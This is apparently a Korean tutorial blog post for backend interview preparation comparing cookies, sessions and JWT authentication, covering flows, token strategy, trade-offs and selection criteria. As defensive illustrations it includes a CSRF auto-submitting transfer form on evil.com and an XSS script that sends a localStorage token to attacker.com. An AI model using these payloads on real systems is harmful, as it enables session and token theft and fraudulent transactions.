쿠키 세션 JWT 차이는 백엔드 개발자 면접에서 가장 자주 등장하는 인증 관련 질문입니다. 단순히 “쿠키는 브라우저에 저장되고, 세션은 서버에 저장되고, JWT는 토큰 방식입니다”라는 한 줄 답변으로는 중급 이상 평가를 받기 어렵습니다. HTTP가 왜 무상태(Stateless) 프로토콜인지, 그래서 인증 정보를 어떻게 유지하는지, 각 방식이 보안·확장성·구현 복잡도에서 어떤 트레이드오프를 갖는지까지 연결해서 설명할 수 있어야 합니다. 이 글에서는 쿠키·세션·JWT의 탄생 배경부터 실제 동작 흐름, 보안 취약점과 대응법, 실무 선택 기준까지 완전히 정리합니다.
목차
- 왜 인증이 필요한가 – HTTP 무상태 프로토콜 이해
- 쿠키 – 브라우저에 저장하는 작은 데이터 조각
- 세션 – 서버가 상태를 기억하는 방식
- JWT – 서버가 기억하지 않아도 되는 토큰 인증
- 세 가지 방식 완전 비교 – 보안·성능·확장성
- 실무 선택 기준 – 언제 무엇을 써야 하나
1. 왜 인증이 필요한가 – HTTP 무상태 프로토콜 이해
쿠키 세션 JWT 차이를 이해하기 전에 이 모든 기술이 왜 필요한지, 근본 원인부터 파악해야 합니다.
HTTP는 요청을 기억하지 않는다
HTTP(HyperText Transfer Protocol)는 태생적으로 무상태(Stateless) 프로토콜입니다. 각 요청은 독립적이며, 이전 요청과의 연관성이 전혀 없습니다.
무상태 프로토콜의 현실:
[요청 1] 클라이언트 → 서버: "아이디 admin, 비밀번호 1234로 로그인"
[서버] 로그인 성공 → 응답 반환
[요청 2] 클라이언트 → 서버: "내 장바구니 목록 보여줘"
[서버] ??? "당신이 누군지 모릅니다. 처음 보는 요청입니다."
→ HTTP는 요청 1과 요청 2가 같은 사람이라는 것을 모릅니다.
→ 매 요청마다 "나 admin이야"를 증명해야 합니다.
웹사이트에서 로그인 후 다른 페이지로 이동해도 로그인 상태가 유지되는 것은 HTTP의 기본 기능이 아닙니다. 쿠키·세션·JWT 같은 별도의 메커니즘이 이 문제를 해결합니다.
인증(Authentication) vs 인가(Authorization)
인증(Authentication): "당신이 누구인지 확인"
→ 로그인, 아이디/비밀번호 검증
인가(Authorization): "당신이 무엇을 할 수 있는지 확인"
→ 관리자 권한, 특정 리소스 접근 허용/거부
쿠키·세션·JWT는 모두 이 두 가지를 처리하기 위한 도구입니다.
2. 쿠키 – 브라우저에 저장하는 작은 데이터 조각
쿠키란 무엇인가
쿠키(Cookie)는 서버가 브라우저에게 “이 데이터를 저장해두고, 이후 요청 때마다 함께 보내줘”라고 지시하는 작은 데이터 조각입니다. 브라우저는 특정 도메인의 쿠키를 자동으로 모든 HTTP 요청 헤더에 포함시킵니다.
http
# 서버 응답 (쿠키 설정)
HTTP/1.1 200 OK
Set-Cookie: user_id=admin123; Path=/; HttpOnly; Secure; Max-Age=3600
Set-Cookie: theme=dark; Path=/; Max-Age=86400
# 이후 브라우저의 모든 요청 (쿠키 자동 포함)
GET /dashboard HTTP/1.1
Host: example.com
Cookie: user_id=admin123; theme=dark
쿠키의 주요 속성
http
Set-Cookie: session_id=abc123;
Domain=example.com; # 쿠키 유효 도메인
Path=/; # 쿠키 유효 경로
Max-Age=3600; # 만료 시간(초), 없으면 브라우저 종료 시 삭제
HttpOnly; # JavaScript로 쿠키 접근 불가 (XSS 방어)
Secure; # HTTPS 연결에서만 전송
SameSite=Strict; # 크로스 사이트 요청에 쿠키 전송 제한 (CSRF 방어)
각 속성이 보안에서 하는 역할이 중요합니다.
HttpOnly: JavaScript에서 document.cookie로 쿠키를 읽을 수 없게 합니다. XSS(Cross-Site Scripting) 공격으로 쿠키를 탈취하는 것을 차단합니다.
Secure: HTTPS 연결에서만 쿠키를 전송합니다. 평문 HTTP에서 중간자 공격으로 쿠키가 노출되는 것을 방지합니다.
SameSite: 다른 도메인에서 시작된 요청에 쿠키를 포함하지 않게 합니다. CSRF(Cross-Site Request Forgery) 공격을 방어합니다.
쿠키만으로 인증할 때의 문제
쿠키에 사용자 정보를 직접 저장하면:
Set-Cookie: user_id=admin; role=admin; is_logged_in=true
문제 1: 클라이언트가 임의로 수정 가능
→ user_id=admin → user_id=other_user 로 변조
→ role=user → role=admin 으로 권한 상승
문제 2: 민감한 정보 노출
→ 쿠키 내용을 누구나 볼 수 있음
→ 해결책: 쿠키에는 식별자(ID)만 저장하고,
실제 정보는 서버에서 관리 = 세션
3. 세션 – 서버가 상태를 기억하는 방식
세션의 동작 원리
세션(Session)은 서버가 사용자 상태를 직접 저장하고 관리하는 방식입니다. 쿠키와 세션은 대립 개념이 아니라 함께 동작합니다. 세션 ID는 쿠키에 담겨 전달됩니다.
세션 인증 전체 흐름:
[로그인 요청]
클라이언트 ──(ID/PW)──→ 서버
└── 1. ID/PW 검증
└── 2. 세션 생성 및 저장
Session Store:
{
"sess_abc123": {
"user_id": "admin",
"role": "admin",
"login_time": "2026-05-14 10:00",
"expire": "2026-05-14 11:00"
}
}
└── 3. 세션 ID만 쿠키로 전달
클라이언트 ←─(Set-Cookie: session_id=sess_abc123)─ 서버
[이후 모든 요청]
클라이언트 ──(Cookie: session_id=sess_abc123)──→ 서버
└── 4. 세션 저장소에서 조회
└── 5. 사용자 정보 확인 후 처리
세션 저장소의 종류
python
# 메모리 내 세션 저장 (가장 단순, 단일 서버)
session_store = {
"sess_abc123": {"user_id": "admin", "role": "admin"},
"sess_xyz789": {"user_id": "user1", "role": "user"},
}
# Redis를 세션 저장소로 사용 (다중 서버 환경 표준)
import redis
r = redis.Redis(host='session-store.internal', port=6379)
# 세션 저장
r.setex(
name="session:sess_abc123",
time=3600, # 1시간 후 자동 만료
value='{"user_id":"admin","role":"admin"}'
)
# 세션 조회
session_data = r.get("session:sess_abc123")
세션의 한계 – 수평 확장 문제
단일 서버 환경 (세션 정상 동작):
클라이언트 → [서버 1] (세션 저장소 보유) → 정상
다중 서버 환경 (세션 문제 발생):
클라이언트 → [로드밸런서]
├── [서버 1] ← 세션 생성됨
├── [서버 2] ← 세션 없음! → 로그인 풀림
└── [서버 3] ← 세션 없음! → 로그인 풀림
해결책:
방법 1: Sticky Session (같은 클라이언트는 항상 같은 서버로)
→ 특정 서버 과부하 위험, 서버 장애 시 세션 소실
방법 2: 세션 공유 저장소 (Redis, Memcached)
→ 모든 서버가 같은 저장소 접근
→ 저장소 자체가 SPOF(단일 장애점) 위험
방법 3: JWT 같은 Stateless 토큰 방식으로 전환
4. JWT – 서버가 기억하지 않아도 되는 토큰 인증
JWT란 무엇인가
JWT(JSON Web Token)는 서버가 세션 저장소 없이 사용자를 인증할 수 있는 자기 완결형 토큰입니다. 필요한 정보를 토큰 자체에 담고, 서버의 서명으로 위변조 여부를 검증합니다.
JWT 구조: Header.Payload.Signature
실제 JWT 예시:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJ1c2VyX2lkIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE3MTc5MzYwMDB9.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
세 부분을 .(점)으로 구분, 각각 Base64URL 인코딩
JWT의 세 구성 요소
① Header (헤더)
json
{
"alg": "HS256", // 서명 알고리즘 (HMAC SHA-256)
"typ": "JWT" // 토큰 타입
}
② Payload (페이로드) – 클레임(Claim) 저장
json
{
"sub": "admin", // subject: 토큰 주체 (사용자 ID)
"role": "admin", // 커스텀 클레임 (권한 정보)
"iat": 1716000000, // issued at: 발급 시간 (Unix Timestamp)
"exp": 1716003600, // expiration: 만료 시간 (1시간 후)
"iss": "auth.example.com" // issuer: 발급자
}
⚠️ 중요: Payload는 Base64URL 인코딩만 된 것이지 암호화가 아닙니다. 누구든 디코딩해서 내용을 볼 수 있습니다. 민감한 정보(비밀번호, 개인정보)는 절대 담으면 안 됩니다.
③ Signature (서명) – 위변조 방지의 핵심
python
# 서명 생성 과정
import hmac
import hashlib
import base64
header_b64 = base64url_encode(json(header))
payload_b64 = base64url_encode(json(payload))
# 서버만 알고 있는 비밀키로 HMAC-SHA256 서명
signature = HMAC_SHA256(
key = SECRET_KEY, # 서버 비밀키
message = f"{header_b64}.{payload_b64}"
)
jwt_token = f"{header_b64}.{payload_b64}.{base64url_encode(signature)}"
# 검증 시: 전달받은 Header+Payload로 서명을 다시 생성하고
# 토큰의 Signature와 일치하면 위변조 없음을 확인
JWT 인증 전체 흐름
[로그인]
클라이언트 ──(ID/PW)──→ 서버
└── 1. ID/PW 검증
└── 2. JWT 생성 (서버 비밀키로 서명)
└── 3. JWT 반환 (서버는 저장 안 함!)
클라이언트 ←──(JWT)──── 서버
클라이언트가 로컬 저장 (localStorage 또는 메모리)
[이후 요청]
클라이언트 ──(Authorization: Bearer {JWT})──→ 서버
└── 4. JWT 서명 검증
└── 5. Payload에서 사용자 정보 추출
└── 6. DB 조회 없이 바로 처리
Access Token + Refresh Token 전략
JWT는 만료 시간이 짧을수록 보안에 유리합니다. 하지만 너무 짧으면 사용자가 자주 재로그인해야 합니다. 이 문제를 해결하기 위해 두 가지 토큰을 함께 사용합니다.
python
# 토큰 발급 전략
ACCESS_TOKEN = JWT({
"user_id": "admin",
"role": "admin",
"exp": now + timedelta(minutes=15) # 짧은 수명 (15분)
})
# 실제 API 요청에 사용, 탈취당해도 짧은 시간만 유효
REFRESH_TOKEN = JWT({
"user_id": "admin",
"token_type": "refresh",
"exp": now + timedelta(days=30) # 긴 수명 (30일)
})
# Access Token 재발급에만 사용
# HttpOnly 쿠키에 저장 (JavaScript 접근 차단)
# 서버 DB에 저장해 강제 무효화 가능하게 함
# Access Token 만료 시 흐름:
# 1. 클라이언트: Access Token으로 API 요청
# 2. 서버: 401 Unauthorized (토큰 만료)
# 3. 클라이언트: Refresh Token으로 새 Access Token 요청
# 4. 서버: Refresh Token 검증 후 새 Access Token 발급
# 5. 클라이언트: 새 Access Token으로 원래 요청 재시도
5. 세 가지 방식 완전 비교 – 보안·성능·확장성
핵심 특성 비교표
| 구분 | 쿠키 단독 | 세션 + 쿠키 | JWT |
|---|---|---|---|
| 저장 위치 | 브라우저 | 서버 (DB/Redis) | 클라이언트 (메모리/쿠키) |
| 상태 관리 | Stateful | Stateful | Stateless |
| 서버 저장소 | 불필요 | 필요 | 불필요 |
| 수평 확장 | 쉬움 | 어려움 (세션 공유 필요) | 쉬움 |
| 만료 제어 | 서버 제어 가능 | 서버 즉시 무효화 가능 | 어려움 (만료 전까지 유효) |
| 토큰 크기 | 작음 | 매우 작음 (ID만) | 큼 (Payload 포함) |
| DB 조회 | 있음 | 있음 (세션 저장소) | 없음 |
| 보안 위협 | 변조 위험 | 세션 하이재킹 | 토큰 탈취 |
보안 위협과 대응법 비교
쿠키 세션의 주요 위협 – CSRF(Cross-Site Request Forgery)
CSRF 공격 시나리오:
1. 사용자가 bank.com에 로그인 (세션 쿠키 발급됨)
2. 공격자가 evil.com에 악성 폼 심어둠:
<form action="https://bank.com/transfer" method="POST">
<input name="amount" value="1000000">
<input name="to" value="attacker_account">
</form>
<script>document.forms[0].submit()</script>
3. 사용자가 evil.com 방문 → 폼 자동 제출
4. 브라우저가 bank.com의 세션 쿠키를 자동으로 포함해 요청 전송
5. 서버는 정상 사용자 요청으로 오인해 처리
대응책:
- SameSite=Strict 쿠키 속성
- CSRF Token (서버에서 발급한 토큰을 폼에 포함)
- Referer/Origin 헤더 검증
JWT의 주요 위협 – XSS(Cross-Site Scripting)
XSS 공격 시나리오:
1. 공격자가 게시판에 악성 스크립트 심기:
<script>
fetch('https://attacker.com/steal?token=' + localStorage.getItem('access_token'));
</script>
2. 다른 사용자가 해당 게시물 조회
3. 악성 스크립트 실행 → localStorage의 JWT 탈취
4. 공격자가 탈취한 JWT로 API 요청
대응책:
- JWT를 localStorage 대신 HttpOnly 쿠키에 저장
(JavaScript로 접근 불가)
- CSP(Content Security Policy) 헤더 설정
- 입력값 철저한 sanitize 처리
- Access Token 수명을 짧게 유지 (15분 이내)
JWT의 구조적 한계 – 토큰 무효화 불가
python
# 세션은 서버에서 즉시 무효화 가능:
del session_store["sess_abc123"] # 즉시 로그아웃 처리
# JWT는 만료 전까지 무효화 어려움:
# 서버가 토큰을 저장하지 않기 때문
# 예시: 사용자가 비밀번호 변경 or 강제 로그아웃
# → 기존 JWT는 exp까지 계속 유효한 상태
# 해결책들:
# 1. 토큰 블랙리스트 DB 유지 (Stateless 장점 훼손)
# 2. Access Token 수명을 매우 짧게 (15분 이내)
# 3. Refresh Token을 서버 DB에 저장해 강제 무효화
# 4. 버전/세대 관리 (password_changed_at을 payload에 포함)
성능 관점 비교
API 요청 처리 흐름 비교:
세션 기반:
클라이언트 요청
→ 쿠키에서 session_id 추출
→ Redis/DB에서 세션 데이터 조회 (네트워크 I/O 발생)
→ 사용자 정보 획득
→ 비즈니스 로직 처리
JWT 기반:
클라이언트 요청
→ Authorization 헤더에서 JWT 추출
→ 서명 검증 (CPU 연산만, 네트워크 I/O 없음)
→ Payload에서 사용자 정보 직접 추출
→ 비즈니스 로직 처리
→ JWT가 세션 조회 I/O를 제거해 레이턴시 감소
→ 단, JWT Payload가 커서 HTTP 헤더 크기 증가
(세션 ID: ~36바이트 vs JWT: ~500바이트 이상)
6. 실무 선택 기준 – 언제 무엇을 써야 하나
세션 기반 인증을 선택해야 할 때
서버 측에서 인증 상태를 즉시 제어할 수 있어야 하는 서비스에 적합합니다. 금융 서비스, 의료 플랫폼처럼 보안이 최우선이고 로그인 세션을 즉시 무효화해야 하는 경우가 대표적입니다.
세션 기반 선택 시나리오:
✓ 즉각적인 로그아웃·세션 강제 종료가 필요한 경우
✓ 단일 서버 또는 Redis 세션 공유를 구성할 수 있는 경우
✓ 보안 요구사항이 매우 높은 금융·의료 서비스
✓ 서버 사이드 렌더링(SSR) 기반 전통적 웹 애플리케이션
✓ 사용자 수가 제한적이고 수평 확장 필요성이 낮은 경우
JWT 기반 인증을 선택해야 할 때
수평 확장이 중요하고 여러 서비스가 동일한 인증 토큰을 사용해야 하는 환경에 적합합니다.
JWT 기반 선택 시나리오:
✓ 마이크로서비스 아키텍처 (여러 서비스가 토큰 공유)
✓ 수평 확장이 잦은 클라우드 환경
✓ 모바일 앱 + 웹 등 다양한 클라이언트 지원
✓ 외부 API 제공 (OAuth 2.0 기반)
✓ SPA(Single Page Application) + REST API 구조
✓ CDN·서버리스 환경 (세션 저장소 운영이 어려운 경우)
실무에서 자주 쓰는 조합 패턴
패턴 1 – SPA + JWT (현대적 표준)
프론트엔드 (React/Vue/Next.js)
↓ API 요청 (Authorization: Bearer {AccessToken})
백엔드 API 서버 (Spring Boot / FastAPI)
↓ JWT 검증 (서명만 확인, DB 조회 없음)
↓ Refresh Token 재발급은 Redis DB와 연동
인증 서버 (자체 구축 또는 Keycloak/Auth0)
토큰 저장 전략:
- Access Token: 메모리 변수 (가장 안전, 페이지 새로고침 시 소실)
- Refresh Token: HttpOnly Secure 쿠키 (XSS 방어)
패턴 2 – 전통적 웹 + 세션 (안정적 선택)
python
# Flask/Django 세션 + Redis 예시
# 로그인 처리
@app.route('/login', methods=['POST'])
def login():
user = verify_credentials(request.form)
if user:
session['user_id'] = user.id # 서버 세션에 저장
session['role'] = user.role
return redirect('/dashboard')
return "로그인 실패", 401
# 인증 확인
@app.route('/dashboard')
@login_required
def dashboard():
user_id = session.get('user_id') # 세션에서 조회
# Redis에서 자동으로 불러옴
return render_template('dashboard.html')
# 강제 로그아웃 (즉시 적용)
@app.route('/admin/force-logout/<user_id>')
def force_logout(user_id):
# Redis에서 해당 사용자 세션 전체 삭제
redis_client.delete(f"session:{user_id}:*")
return "강제 로그아웃 완료"
패턴 3 – 마이크로서비스 + JWT
[클라이언트]
↓ JWT 포함 요청
[API Gateway (Nginx)]
└── JWT 서명 검증 (공개키로)
↓ 검증된 요청 전달 (JWT payload 포함)
┌──────────────────────────────────────┐
│ 내부 서비스들 (세션 저장소 없이) │
│ [상품 서비스] [주문 서비스] [결제 서비스] │
│ 각 서비스가 JWT에서 user_id, role 추출 │
└──────────────────────────────────────┘
↓ 사용자 상세 정보 필요 시에만
[사용자 서비스 DB]
면접 모범 답변 – “쿠키, 세션, JWT의 차이를 설명해주세요”
“세 가지 모두 HTTP의 무상태 특성을 극복해 인증 상태를 유지하는 방법입니다. 쿠키는 브라우저에 데이터를 저장하는 메커니즘 자체이고, 세션과 JWT는 인증 방식입니다. 세션은 서버가 인증 상태를 저장하는 Stateful 방식입니다. 쿠키에는 세션 ID만 저장하고, 실제 사용자 정보는 서버 저장소(Redis)에 보관합니다. 즉각적인 세션 무효화가 가능하지만, 수평 확장 시 세션 공유 인프라가 필요합니다. JWT는 서버가 상태를 저장하지 않는 Stateless 방식입니다. 사용자 정보를 토큰 자체에 담고 서명으로 위변조를 방지합니다. 세션 저장소 없이도 여러 서버에서 검증할 수 있어 수평 확장에 유리하지만, 만료 전 토큰 무효화가 어렵다는 한계가 있습니다. 실무에서는 보안 중심 서비스에는 세션, 마이크로서비스·SPA 환경에는 JWT(Access + Refresh Token)를 선택합니다.”
결론
쿠키 세션 JWT 차이는 단순한 기술 비교가 아니라 보안·확장성·운영 복잡도 사이의 트레이드오프를 이해하는 문제입니다. 세션은 즉각적인 제어와 보안에서 강하고, JWT는 Stateless 확장성에서 강합니다. 어느 하나가 절대적으로 우월하지 않습니다. 서비스의 트래픽 규모, 보안 요구사항, 아키텍처 구조를 정확히 파악하고 적합한 방식을 선택하는 능력이 핵심입니다. 오늘 정리한 내용을 바탕으로 실제 로그인 기능을 두 가지 방식으로 직접 구현해보세요. 이론과 코드가 연결되는 순간 면접과 실무 모두에서 막힘없이 설명할 수 있게 됩니다.
⚠️ 보안 참고 사항: 이 글은 쿠키·세션·JWT의 개념과 비교를 위한 일반적인 정보를 제공합니다. 실제 인증 시스템 구현 시에는 OWASP 보안 가이드라인을 참고하고, 프로덕션 환경에서는 검증된 인증 라이브러리나 서비스(OAuth2, OpenID Connect)를 활용하는 것을 권장합니다.
답글 남기기